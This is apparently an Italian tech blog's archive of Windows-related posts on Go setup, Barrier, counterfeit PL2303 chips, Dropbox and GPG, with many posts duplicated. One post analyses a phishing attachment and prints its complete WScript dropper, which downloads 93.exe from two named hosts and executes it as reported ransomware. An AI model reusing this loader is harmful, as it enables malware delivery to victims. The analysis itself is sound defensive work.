Usando praticamente mai Windows come ambiente di sviluppo ed ho scoperto a mie spese che il comando curl installato di default su Windows 10 non e' lequivalente di curl su Linux ma un alias di un comando di PowerShell con una sintassi differente
Visualizzazione post con etichetta Windows. Mostra tutti i post
Visualizzazione post con etichetta Windows. Mostra tutti i post
venerdì 10 marzo 2023
venerdì 7 gennaio 2022
Ambiente di sviluppo Golang senza permessi di amministratore
Per impostare un ambiente di lavoro Golang su Windows senza avere i permessi di amministrazione si inizia scaricando GO non in versione installer ma in versione archive del tipo go1.17.6.windows-amd64.zip
Si decomprime la cartella nella propria home
A questo punto si impostano le variabili di ambiente per l'account aggiungendo alla PATH la directory appena scompattata puntando alla directory /bin
Dopo di cio' si crea una nuova variabile di nome GOPATH e la si fa puntare alla directory dove si intende effettuare lo sviluppo
Se si e' dietro ad un proxy si puo' settare la variabile GOPROXY
mercoledì 27 novembre 2019
Convidere tastiera e mouse con Barrier
Ho provato ad usare Barrier, un software che permette di condividere tastiera e mouse tra piu' computer. Non si tratta di un clone di VNC perche' ogni computer deve avere il proprio monitor (non si puo' quindi fare amministrazione remota) e perche' le risorse non sono condivise (i programmi sono eseguiti sul calcolatore su cui vengono lanciati)
Si tratta quindi di un utilizzo un po' di nicchia ma che puo' essere comunque utile
Il programma esiste per Linux, Windows e Mac ed e' indifferente quale macchina fa da server (quella da cui vengono presi gli input di tastiera e mouse) e quali da client. L'unica cosa da impostare e' indicare l'IP della macchina server ed indicare l'hostname delle macchine client
Non sono riuscito a farlo funzionare su Gnome Shell di Debian in modalita' server ma la stessa macchina utilizzando I3 funziona bene
Si tratta quindi di un utilizzo un po' di nicchia ma che puo' essere comunque utile
Il programma esiste per Linux, Windows e Mac ed e' indifferente quale macchina fa da server (quella da cui vengono presi gli input di tastiera e mouse) e quali da client. L'unica cosa da impostare e' indicare l'IP della macchina server ed indicare l'hostname delle macchine client
Non sono riuscito a farlo funzionare su Gnome Shell di Debian in modalita' server ma la stessa macchina utilizzando I3 funziona bene
lunedì 4 febbraio 2019
Salvatempo COOP e Windows
Aggiornamento : dopo un mese e mezzo ho trovato in errore anche il lettore di codici a barre da cui si arriva al modello Zebra MK500
Quando uno si chiede come funzionano i salvatempo delle COOP e ne trova uno in bootloop
Per la cronaca il salvatempo e' un Datalogic Joya X1 con Windows CE (e costa un botto)
Quando uno si chiede come funzionano i salvatempo delle COOP e ne trova uno in bootloop
Per la cronaca il salvatempo e' un Datalogic Joya X1 con Windows CE (e costa un botto)
mercoledì 26 ottobre 2016
Windows for legacy PC
Quando pensi di averle viste piu' o meno tutte in ambito informatico viene subito sconfessato. Solo in questi giorni sono venuto a conoscenza di Windows for Legacy PCs, un progetto del 2006 per far girare Windows XP su hardware obsoleto, ovvero Pentium a 200 MHz con 128 Mb di ram (a cui e' poi succeduta una versione di Windows 7 con la stessa politica)
Il fatto che non la conoscessi dipende anche dal fatto che non si tratta di una versione di vendita al dettaglio (era venduta solo per volumi a grosse industrie)
La cosa piu' curiosa e' che non e' presente Internet Explorer
Al momento pero' questa cosa va piu' nel capitolo curiosita' che in quello delle cose utili perche' anche se uno riuscisse a trovare una licenza di installazione il sistema avrebbe solo gli aggiornamenti di Service Pack2
Il fatto che non la conoscessi dipende anche dal fatto che non si tratta di una versione di vendita al dettaglio (era venduta solo per volumi a grosse industrie)
La cosa piu' curiosa e' che non e' presente Internet Explorer
Al momento pero' questa cosa va piu' nel capitolo curiosita' che in quello delle cose utili perche' anche se uno riuscisse a trovare una licenza di installazione il sistema avrebbe solo gli aggiornamenti di Service Pack2
mercoledì 8 giugno 2016
Windows XP e Dropbox (API)
Il prossimo 29 agosto Dropbox terminera' il supporto per il client Windows XP.
Al contrario di come fanno altre ditte, per esempio Google con Chrome, la fine del supporto non indica che non saranno piu' sviluppati aggiornamenti ma che il client terminera' il suo funzionamento (sara' sempre disponibile l'interfaccia web)
Considerando che Dropbox e' di proprieta' Microsoft e che il servizio e' fondamentalmente gratuito non e' da biasimare Microsoft se cerca di piazzare qualche SO nuovo...ma forse una soluzione semplice esiste ed e' quella di usare un client Python usanto le API dell'SDK di Dropbox
Per usare il client Python ci si deve prima registrare su Dropbox Developer, creare una App (la piu' semplice e' App Folder) e generare un Access Token
Successivamente si scaricare l'SDK Python di Dropbox da questo indirizzo https://github.com/dropbox/dropbox-sdk-python installandolo poi con il classico
python setup.py install
a questo si puo' modificare il programma updown.py che permette di sincronizzare una cartella (cosi' come fa il client). Per personalizzare la directory da sincronizzare si deve modificare la rootdir (di default e' Downloads) e la cartella remota di Dropbox.
il progrramma si lancia quindi con la sintassi (il token si deve copiare dalle impostazioni della app)
python updown.py --token xxxxxxxxxxxxxxxxxxxxxxxxxxxxx --yes
(lo yes finale risponde in modo affermativo alle domande in modo da sovrascrivere in modo automatico)
i file sincronizzati non si trovano nella radice di Dropbox ma nella sottodirectory /App/nomedellaApp
Al contrario di come fanno altre ditte, per esempio Google con Chrome, la fine del supporto non indica che non saranno piu' sviluppati aggiornamenti ma che il client terminera' il suo funzionamento (sara' sempre disponibile l'interfaccia web)
Considerando che Dropbox e' di proprieta' Microsoft e che il servizio e' fondamentalmente gratuito non e' da biasimare Microsoft se cerca di piazzare qualche SO nuovo...ma forse una soluzione semplice esiste ed e' quella di usare un client Python usanto le API dell'SDK di Dropbox
Per usare il client Python ci si deve prima registrare su Dropbox Developer, creare una App (la piu' semplice e' App Folder) e generare un Access Token
Successivamente si scaricare l'SDK Python di Dropbox da questo indirizzo https://github.com/dropbox/dropbox-sdk-python installandolo poi con il classico
python setup.py install
a questo si puo' modificare il programma updown.py che permette di sincronizzare una cartella (cosi' come fa il client). Per personalizzare la directory da sincronizzare si deve modificare la rootdir (di default e' Downloads) e la cartella remota di Dropbox.
il progrramma si lancia quindi con la sintassi (il token si deve copiare dalle impostazioni della app)
python updown.py --token xxxxxxxxxxxxxxxxxxxxxxxxxxxxx --yes
(lo yes finale risponde in modo affermativo alle domande in modo da sovrascrivere in modo automatico)
i file sincronizzati non si trovano nella radice di Dropbox ma nella sottodirectory /App/nomedellaApp
mercoledì 2 marzo 2016
PL2303 falsificato : error code 10
Mi sono comprato su un e-commerce cinese un paio di cavi USB to 232TTL PL2303HX (avevo bisogno della doppia tensione a 5V e 3.3 V) al prezzo ridicolo 1.33 euro l'uno
Il dispositivo inserito in una Linux Box si mostra come segue e funziona correttamente
--------------------------------------------------
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.298691] usb 2-1.2: new full-speed USB device number 10 using ehci-pci
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.392179] usb 2-1.2: New USB device found, idVendor=067b, idProduct=2303
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.392184] usb 2-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.392188] usb 2-1.2: Product: USB-Serial Controller
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.392191] usb 2-1.2: Manufacturer: Prolific Technology Inc.
Mar 1 14:04:53 luca-ThinkPad-X201 mtp-probe: checking bus 2, device 10:"/sys/devices/pci0000:00/0000: 00:1d.0/usb2/2-1/2-1.2"
Mar 1 14:04:53 luca-ThinkPad-X201 mtp-probe: bus: 2, device: 10 was notan MTP device
Mar 1 14:04:54 luca-ThinkPad-X201 kernel: [ 624.422524] usbcore:registered new interface driver pl2303
Mar 1 14:04:54 luca-ThinkPad-X201 kernel: [ 624.422561] usbserial: USB Serial support registered for pl2303
Mar 1 14:04:54 luca-ThinkPad-X201 kernel: [ 624.422589] pl2303 2-1.2:1.0: pl2303 converter detected
Mar 1 14:04:54 luca-ThinkPad-X201 kernel: [ 624.424404] usb 2-1.2: pl2303 converter now attached to ttyUSB1
--------------------------------------------------
mentre una volta inserito in un PC Windows, una volta installato il driver scaricato dalla Prolific, all'inserimento del dispositivo, viene generato un Error Code 10.
Dopo aver frugato un po' su Internet ho scoperto che si tratta di un problema relativo a chip Porolific contraffatti. La Prolific, per evitare questo problema, distribuisce dei driver che sono in grado di verificare l'originalita' del dispositivo ed in caso contrario ne impedisce l'uso (su Linux il problema ovviamente non esiste perche' il driver non e' svilutppato da Prolific)
L' unica soluzione e' quella di non installare l'ultima versione del driver ma ricorrere a versioni vecchiotte (che comunque funzionano)
Il dispositivo inserito in una Linux Box si mostra come segue e funziona correttamente
--------------------------------------------------
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.298691] usb 2-1.2: new full-speed USB device number 10 using ehci-pci
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.392179] usb 2-1.2: New USB device found, idVendor=067b, idProduct=2303
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.392184] usb 2-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.392188] usb 2-1.2: Product: USB-Serial Controller
Mar 1 14:04:53 luca-ThinkPad-X201 kernel: [ 623.392191] usb 2-1.2: Manufacturer: Prolific Technology Inc.
Mar 1 14:04:53 luca-ThinkPad-X201 mtp-probe: checking bus 2, device 10:"/sys/devices/pci0000:00/0000:
Mar 1 14:04:53 luca-ThinkPad-X201 mtp-probe: bus: 2, device: 10 was notan MTP device
Mar 1 14:04:54 luca-ThinkPad-X201 kernel: [ 624.422524] usbcore:registered new interface driver pl2303
Mar 1 14:04:54 luca-ThinkPad-X201 kernel: [ 624.422561] usbserial: USB Serial support registered for pl2303
Mar 1 14:04:54 luca-ThinkPad-X201 kernel: [ 624.422589] pl2303 2-1.2:1.0: pl2303 converter detected
Mar 1 14:04:54 luca-ThinkPad-X201 kernel: [ 624.424404] usb 2-1.2: pl2303 converter now attached to ttyUSB1
--------------------------------------------------
mentre una volta inserito in un PC Windows, una volta installato il driver scaricato dalla Prolific, all'inserimento del dispositivo, viene generato un Error Code 10.
Dopo aver frugato un po' su Internet ho scoperto che si tratta di un problema relativo a chip Porolific contraffatti. La Prolific, per evitare questo problema, distribuisce dei driver che sono in grado di verificare l'originalita' del dispositivo ed in caso contrario ne impedisce l'uso (su Linux il problema ovviamente non esiste perche' il driver non e' svilutppato da Prolific)
L' unica soluzione e' quella di non installare l'ultima versione del driver ma ricorrere a versioni vecchiotte (che comunque funzionano)
lunedì 29 febbraio 2016
Esperimento di video 3D con Nintendo 3DS su Youtube
La Nintendo 3DS e' un giocattolo (indicativamente bambini piccoli a vedere il parco giochi) ma e' anche un oggetto per la presenza di uno schermo in auto stereoscopia
E' anche interessante la presenza di una coppia di fotocamere che permette di realizzare stereocoppie in modo semplice e con una geometria non modificabile. Aggiornando il firmware e' possibile, oltre alle stereocoppie, realizzare anche video stereo
I dati sono salvati nella SD Card del dispositivo e sono in formato MJPG (estensione del file .AVI). Per visualizzare i video su Youtube si deve prima installare il codec MPJPG da SourceForge
Dopo l'installazione si apre VFW Configuratione e si abilita il Decoder MJPEG portandolo a libavcodec
Si installa quindi Stereo Movie Maker e si apre il file .avi precedentemente salvato
non c'e' bisogno di allineare le due semimeta' dello schermo perche' sono gia' sincronizzate
Si salva il file mettendo il flag in Side-by-Side e definendo il codec di compressione (questa ultima fase e' in po' a prove per trovare quello giusto)
Effettuando l'upload su Youtube viene riconosciuto il formato ma si puo' comunque indicare che si tratta di un filmato 3D. In Youtube versione desktop il filmato viene visualizzato come anaglifo (da visualizzare con gli occhialini a lenti rosse e blu) mentre su Android lo schermo viene diviso in due meta' per poter essere visualizzato con Google Cardboard
Lo stesso risultato si puo' ottenere con ffmpeg ma e' piu' macchinoso
mercoledì 3 febbraio 2016
W32 Ramsonware 93.exe
Ieri frugando nello spam di GMail ho trovato un messaggio proveniente da un mio parente con l'indicazione di un rischio legato al file in allegato denominato Jgw.zip.
La prima cosa curiosa guardando l'header della mail e' che l'indirizzo corrisponde a quella del mio parente solo nella username e non del dominio (che risulta essere biscuitmusic.com, un sito giapponese, al posto di libero.it)
--------------------------------
E' scattata subito la curiosita' di capire cosa fosse e sono passato sotto Linux per evitare sorprese con qualche virus
Una volta decompresso il file zip vi era contenuto il file invoice_copy_JJBtlo.js. Aprendo con un editore e' apparso subito che si tratta di un sistema per scaricare il file http://skuawill.com/93.exe sulla macchina locale e mandarlo in esecuzione
(ATTENZIONE : alle 23.00 del 2 febbraio 2016 questo indirizzo era ancora attivo era possibile scaricare l'eseguibile del file)
in pratica il file Js e' uno script di shell di Windows che scarica il file e lo mette in TMP e lo nomina come 35184372088832 che corrisponde al 2 elevato alla 45
--------------------------------
var STATUS_OK = 200;
var METHOD_GET = "GET";
var METHOD_EXEC = "Exec";
var W_SCRIPT_SHELL = "WScript.Shell";
var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
var ADODB = "ADODB";
var STREAM = "Stream";
var TEMP_ENV = "%TEMP%\\";
var EXE_EXTENSION = ".exe";
var MIN_FILE_SIZE = 20000;
var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
var FILE_NAME = 35184372088832;
var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
var stream = WScript.CreateObject(ADODB+"."+STREAM);
var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;
for (var v = 0; v < URLS.length; v++) {
try {
var url = URLS[v];
httpRequest.open(METHOD_GET, url, false);
httpRequest.send();
if (httpRequest.status == STATUS_OK) {
try {
stream.open();
stream.type = 1;
stream.write(httpRequest.responseBody);
if (stream.size > MIN_FILE_SIZE) {
v = URLS.length;
stream.position = 0;
stream.saveToFile(storedFilePathName, 2);
}
} finally {
stream.close();
}
}
}
catch (ignored) {
}
}
wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));
--------------------------------
Passando il file exe in un editor esadecimale si vede che e' un file EXE di Windows (l'intestazione e' correttamente MZ quindi nessun pericolo a giocare con Mac e Linux), ha una dimensione di 508 Kb e frugando tra le stringhe si trova qualcosa di leggibile solo in coda al file (dalla posizione 494784 in poi) ma una ricerca su Google delle stringhe non porta da nessuna parte di precisa
Aggiornamento : e' presente il riferimento ad un linguaggio di scripting denominato Edify per modificare file binari (fare l'update) partendo da un file .zip. Viene citato come in uso dalla catena di build di CyanogenMod. Ho il sospetto che il codice sia compresso e cio' nasconde le stringhe critiche
La prima cosa curiosa guardando l'header della mail e' che l'indirizzo corrisponde a quella del mio parente solo nella username e non del dominio (che risulta essere biscuitmusic.com, un sito giapponese, al posto di libero.it)
--------------------------------
Delivered-To: lucxxxxxx@gmail.com
Received: by 10.28.60.11 with SMTP id j11csp1824576wma;
Sat, 30 Jan 2016 14:51:08 -0800 (PST)
X-Received: by 10.50.131.201 with SMTP id oo9mr3891354igb.68.1454194268656;
Sat, 30 Jan 2016 14:51:08 -0800 (PST)
Return-Path: <xxxxx@biscuitmusic.com>
Received: from smtp310.phy.lolipop.jp (smtp310.phy.lolipop.jp. [210.157.22.78])
by mx.google.com with ESMTP id jn5si5379918igb.40.2016.01.30.14.51.07;
Sat, 30 Jan 2016 14:51:08 -0800 (PST)
Received-SPF: neutral (google.com: 210.157.22.78 is neither permitted nor denied by best guess record for domain of xxxxxxxx@biscuitmusic.com) client-ip=210.157.22.78;
Authentication-Results: mx.google.com;
spf=neutral (google.com: 210.157.22.78 is neither permitted nor denied by best guess record for domain of xxxxxxx@biscuitmusic.com) smtp.mailfrom=xxxxxxx@biscuitmusic.com
Received: from smtp310.phy.lolipop.lan (HELO smtp310.phy.lolipop.jp) (172.17.1.10)
(smtp-auth username sato@biscuitmusic.com, mechanism plain)
by smtp310.phy.lolipop.jp (qpsmtpd/0.82) with ESMTPA; Sun, 31 Jan 2016 07:51:07 +0900
Received: from 186.64.232.94 (186.64.232.94)
by smtp310.phy.lolipop.jp (LOLIPOP-Fsecure);
Sun, 31 Jan 2016 07:50:48 +0900 (JST)
X-Spam-Status: Yes(LOLIPOP-Fsecure) with VIRUSGW/SPAM_RBL/186.64.232.94[bl.spamcop.net:127.0.0.2]
X-Virus-Status: clean(LOLIPOP-Fsecure)
Message-ID: <9753AAE9DA198CA1FC6E4AB2E048A630@smtp.lolipop.jp>
From: "xxxxxxx" <xxxxxxx@biscuitmusic.com>
To: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Subject: =?ISO-8859-1?Q?1=2F20=2F2016_11=3A49=3A25_PM?=
Date: Tue, 20 Jan 2016 11:49:25 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_F7A3_CF9742FB.005289E3"
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 16.4.3522.110
X-MIMEOLE: Produced By Microsoft MimeOLE V16.4.3522.110
This is a multi-part message in MIME format.
------=_NextPart_000_F7A3_CF9742FB.005289E3
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_3DE5_CF97430A.5525FFAB"
------=_NextPart_000_3DE5_CF97430A.5525FFAB
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
--------------------------------
Una volta decompresso il file zip vi era contenuto il file invoice_copy_JJBtlo.js. Aprendo con un editore e' apparso subito che si tratta di un sistema per scaricare il file http://skuawill.com/93.exe sulla macchina locale e mandarlo in esecuzione
(ATTENZIONE : alle 23.00 del 2 febbraio 2016 questo indirizzo era ancora attivo era possibile scaricare l'eseguibile del file)
in pratica il file Js e' uno script di shell di Windows che scarica il file e lo mette in TMP e lo nomina come 35184372088832 che corrisponde al 2 elevato alla 45
--------------------------------
var STATUS_OK = 200;
var METHOD_GET = "GET";
var METHOD_EXEC = "Exec";
var W_SCRIPT_SHELL = "WScript.Shell";
var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
var ADODB = "ADODB";
var STREAM = "Stream";
var TEMP_ENV = "%TEMP%\\";
var EXE_EXTENSION = ".exe";
var MIN_FILE_SIZE = 20000;
var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
var FILE_NAME = 35184372088832;
var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
var stream = WScript.CreateObject(ADODB+"."+STREAM);
var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;
for (var v = 0; v < URLS.length; v++) {
try {
var url = URLS[v];
httpRequest.open(METHOD_GET, url, false);
httpRequest.send();
if (httpRequest.status == STATUS_OK) {
try {
stream.open();
stream.type = 1;
stream.write(httpRequest.responseBody);
if (stream.size > MIN_FILE_SIZE) {
v = URLS.length;
stream.position = 0;
stream.saveToFile(storedFilePathName, 2);
}
} finally {
stream.close();
}
}
}
catch (ignored) {
}
}
wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));
--------------------------------
Passando il file exe in un editor esadecimale si vede che e' un file EXE di Windows (l'intestazione e' correttamente MZ quindi nessun pericolo a giocare con Mac e Linux), ha una dimensione di 508 Kb e frugando tra le stringhe si trova qualcosa di leggibile solo in coda al file (dalla posizione 494784 in poi) ma una ricerca su Google delle stringhe non porta da nessuna parte di precisa
Aggiornamento : e' presente il riferimento ad un linguaggio di scripting denominato Edify per modificare file binari (fare l'update) partendo da un file .zip. Viene citato come in uso dalla catena di build di CyanogenMod. Ho il sospetto che il codice sia compresso e cio' nasconde le stringhe critiche
La cosa piu' preoccupante (oltre al fatto che il server non risulta filtrato e continua a distribuire il file 93.exe) e' che su VirusTotal il file viene riconosciuto come malware solo da 14 su 54 antivirus (in alcuni casi con un nome generico mentre su altri antivirus come Tesla)
In ogni caso c'e' abbastanza concordia nel dire che si tratti di un ramsonware o filelocker, un programma che cripta in maniera forte i dati della vittima e chiede un riscatto in bitcoin per ottenere la chiave crittografica di decompressione
mercoledì 9 dicembre 2015
Mysql tunnel over SSH
Alcune volte, un po' per passare dati riservati, un po' per bucare firewall non particolarmente permissivi si puo' creare un tunnel SSH per far passare anche informazioni derivanti da altri server. In questo caso si puo' vedere come interagire direttamente con un database MySql nel caso in cui la porta 3306 del server sia filtrata mentre la porta 22 risulta accessibile
In pratica la connessione funziona in questo modo
Linux
Nel caso Linux la procedura per creare un tunnel Mysql over SSH e' piuttosto banale e veloce
Si crea il tunnel con la seguente riga di comando
ssh login@server -L 3306:127.0.0.1:3306 -N &
login e server sono le credenziali del server SSH
In pratica la connessione funziona in questo modo
server Mysql (3306 remota) <-> SSH remoto (22) <-> Internet <-> client locale ssh <->porta locale del tunnel
Linux
Nel caso Linux la procedura per creare un tunnel Mysql over SSH e' piuttosto banale e veloce
Si crea il tunnel con la seguente riga di comando
login e server sono le credenziali del server SSH
in pratica ci si connette con la porta 3306 remota (passando dal tunnel SSH) ed creando una porta 3306 in ascolto. (Ovviamente sulla macchina client non deve essere presente nessun servizio che occupi la porta ... in caso contrario il numero della porta locale puo' essere modificato a piacere)
(importante la & finale per mandare il processo di tunnel in background...in caso si ometta si deve aprire un'altra shell per gestire il collegamento Mysql)
Fatto cio' ci si connette come se il server fosse installato in localhost
mysql -h 127.0.0.1 -p -u user_mysql
(ovviamente le credenziali di Mysql sono quelle dell'host remoto)
Windows
(importante la & finale per mandare il processo di tunnel in background...in caso si ometta si deve aprire un'altra shell per gestire il collegamento Mysql)
Fatto cio' ci si connette come se il server fosse installato in localhost
mysql -h 127.0.0.1 -p -u user_mysql
(ovviamente le credenziali di Mysql sono quelle dell'host remoto)
Windows
In questo caso il client SSH e' molto piu' spesso Putty. Per creare un tunnel SSH con Putty, dopo aver creato come di norma una sessione,
si deve andare in Connection/SSH/Tunnels ed impostare
Source port : 3306
Destination : 127.0.0.1:3306
Anche in questo caso non deve esserci un altro servizio che occupa la porta 3306 ed in ogni caso la Destination port puo' essere modificata
lunedì 16 febbraio 2015
GNUPG
Per inviare mail criptate end-to-end oppure per siglare una mail in modo che sia impossibile modificarla la soluzione piu' semplice e' quella di usare la segnatura GPG (il corrispondente open della PGP)
la procedura per creare le chiavi su Linux da linea di comando e' la seguente. Conviene utilizzare la chiave a 4096 bit RSA/DSA
luca@debian:~$ gpg --gen-key
gpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: directory `/home/luca/.gnupg' created
gpg: creato un nuovo file di configurazione `/home/luca/.gnupg/gpg.conf'
gpg: ATTENZIONE: le opzioni in `/home/luca/.gnupg/gpg.conf' non sono ancora attive durante questa
esecuzione del programma
gpg: portachiavi `/home/luca/.gnupg/secring.gpg' creato
gpg: portachiavi `/home/luca/.gnupg/pubring.gpg' creato
Per favore scegli che tipo di chiave vuoi:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (firma solo)
(4) RSA (firma solo)
Cosa scegli? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
La dimensione richiesta della chiave è 4096 bit
Per favore specifica per quanto tempo la chiave sarà valida.
0 = la chiave non scadrà
<n> = la chiave scadrà dopo n giorni
<n>w = la chiave scadrà dopo n settimane
<n>m = la chiave scadrà dopo n mesi
<n>y = la chiave scadrà dopo n anni
Chiave valida per? (0)
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
Nome e Cognome: Luca Innocenti
Indirizzo di Email: lucainnoc@gmail.com
Commento:
Hai selezionato questo User Id:
"Luca Innocenti <lucainnoc@gmail.com>"
Modifica (N)ome, (C)ommento, (E)mail oppure (O)kay/(Q)uit?
gpg: /home/luca/.gnupg/trustdb.gpg: creato il trustdb
gpg: key 48CFC879 marked as ultimately trusted
chiavi pubbliche e segrete create e firmate.
gpg: controllo il trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
pub 4096R/48CFC879 2015-02-13
Key fingerprint = E656 AD90 9447 4312 9C70 1773 C490 96A0 48CF C879
uid Luca Innocenti <lucainnoc@gmail.com>
sub 4096R/D7979695 2015-02-13
-----------------------------------------------------------------------
KeyID = 48CFC879
Key fingerprint = E656 AD90 9447 4312 9C70 1773 C490 96A0 48CF C879
----------
A questo punto sono state create la chiave privata (da tenere riservata) e quella pubblica da distribuire agli altri per poterci inviare messaggi codificati. Evidenziate in giallo i codici delle chiavi
Si puo' verificare il contenuto del portachiavi GPG mediante
luca@debian:~$ gpg --list-keys
/home/luca/.gnupg/pubring.gpg
-----------------------------
pub 4096R/48CFC879 2015-02-13
uid Luca Innocenti <lucainnoc@gmail.com>
sub 4096R/D7979695 2015-02-13
-------------------------------------------------------------
Per distribuire la chiave pubblica si puo' inviare il file esportato
gpg -armor --output pubkey.txt --export 48CFC879
oppure si puo' inviare la chiave ai server pubblici in cui sono salvate le rubriche delle chiavi (chi vorra' inviarci una mail criptata puo' cercare le nostre credenziali su questi server)
gpg --send-keys --keyserver hkp://subkeys.pgp.net 48CFC879
gpg --import keyserver2.pgp.comGlobalDirectoryKey.asc
gpg: key CA57AD7C: public key "PGP Global Directory Verification Key" imported
gpg: Numero totale esaminato: 1
gpg: importate: 1 (RSA: 1)
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
Per effettuare il backup e copiare le chiavi si puo' seguire
luca@debian:~/Scaricati$ gpg -ao backup_pub.key --export 48CFC879
luca@debian:~/Scaricati$ gpg -ao backup_priv.key --export-secret-keys D7979695
i file delle chiavi sono tutti contenuti nella propria home/.gnupg
/home/luca/.gnupg/pubring.gpg
-----------------------------
pub 4096R/48CFC879 2015-02-13
uid Luca Innocenti <lucainnoc@gmail.com>
sub 4096R/D7979695 2015-02-13
pub 2048R/CA57AD7C 2004-12-06
uid PGP Global Directory Verification Key
uid [jpeg image of size 3400]
uid DNR KS1 <do-not-reply@keyserver1.pgp.com>
uid DNR-KS2 <do-not-reply@keyserver2.pgp.com>
se si vuole seguire la via semplice invece si puo' usare l'estensione EnigmaMail per Thunderbird. Una volta installata mediante Strumenti/Componenti Aggiuntivi basta seguire i menu' di guida per creare le chiavi GPG e le impostazione di base di invio delle mail (vale per Mac, Windows e Linux)
Con questo sistema e' gestita in modo automatico la pubblicazione di chiavi sui server
Su Gmail esiste una estensione chiamata Mymail-Crypt che pero' mi ha dato problemi con le chiavi a 4096 bit (sembra che accetti solo le chiavi a 2048 bit)
la procedura per creare le chiavi su Linux da linea di comando e' la seguente. Conviene utilizzare la chiave a 4096 bit RSA/DSA
luca@debian:~$ gpg --gen-key
gpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: directory `/home/luca/.gnupg' created
gpg: creato un nuovo file di configurazione `/home/luca/.gnupg/gpg.conf'
gpg: ATTENZIONE: le opzioni in `/home/luca/.gnupg/gpg.conf' non sono ancora attive durante questa
esecuzione del programma
gpg: portachiavi `/home/luca/.gnupg/secring.gpg' creato
gpg: portachiavi `/home/luca/.gnupg/pubring.gpg' creato
Per favore scegli che tipo di chiave vuoi:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (firma solo)
(4) RSA (firma solo)
Cosa scegli? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
La dimensione richiesta della chiave è 4096 bit
Per favore specifica per quanto tempo la chiave sarà valida.
0 = la chiave non scadrà
<n> = la chiave scadrà dopo n giorni
<n>w = la chiave scadrà dopo n settimane
<n>m = la chiave scadrà dopo n mesi
<n>y = la chiave scadrà dopo n anni
Chiave valida per? (0)
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
Nome e Cognome: Luca Innocenti
Indirizzo di Email: lucainnoc@gmail.com
Commento:
Hai selezionato questo User Id:
"Luca Innocenti <lucainnoc@gmail.com>"
Modifica (N)ome, (C)ommento, (E)mail oppure (O)kay/(Q)uit?
gpg: /home/luca/.gnupg/trustdb.gpg: creato il trustdb
gpg: key 48CFC879 marked as ultimately trusted
chiavi pubbliche e segrete create e firmate.
gpg: controllo il trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
pub 4096R/48CFC879 2015-02-13
Key fingerprint = E656 AD90 9447 4312 9C70 1773 C490 96A0 48CF C879
uid Luca Innocenti <lucainnoc@gmail.com>
sub 4096R/D7979695 2015-02-13
-----------------------------------------------------------------------
KeyID = 48CFC879
Key fingerprint = E656 AD90 9447 4312 9C70 1773 C490 96A0 48CF C879
----------
A questo punto sono state create la chiave privata (da tenere riservata) e quella pubblica da distribuire agli altri per poterci inviare messaggi codificati. Evidenziate in giallo i codici delle chiavi
Si puo' verificare il contenuto del portachiavi GPG mediante
luca@debian:~$ gpg --list-keys
/home/luca/.gnupg/pubring.gpg
-----------------------------
pub 4096R/48CFC879 2015-02-13
uid Luca Innocenti <lucainnoc@gmail.com>
sub 4096R/D7979695 2015-02-13
-------------------------------------------------------------
Per distribuire la chiave pubblica si puo' inviare il file esportato
gpg -armor --output pubkey.txt --export 48CFC879
oppure si puo' inviare la chiave ai server pubblici in cui sono salvate le rubriche delle chiavi (chi vorra' inviarci una mail criptata puo' cercare le nostre credenziali su questi server)
gpg --send-keys --keyserver hkp://subkeys.pgp.net 48CFC879
gpg --import keyserver2.pgp.comGlobalDirectoryKey.asc
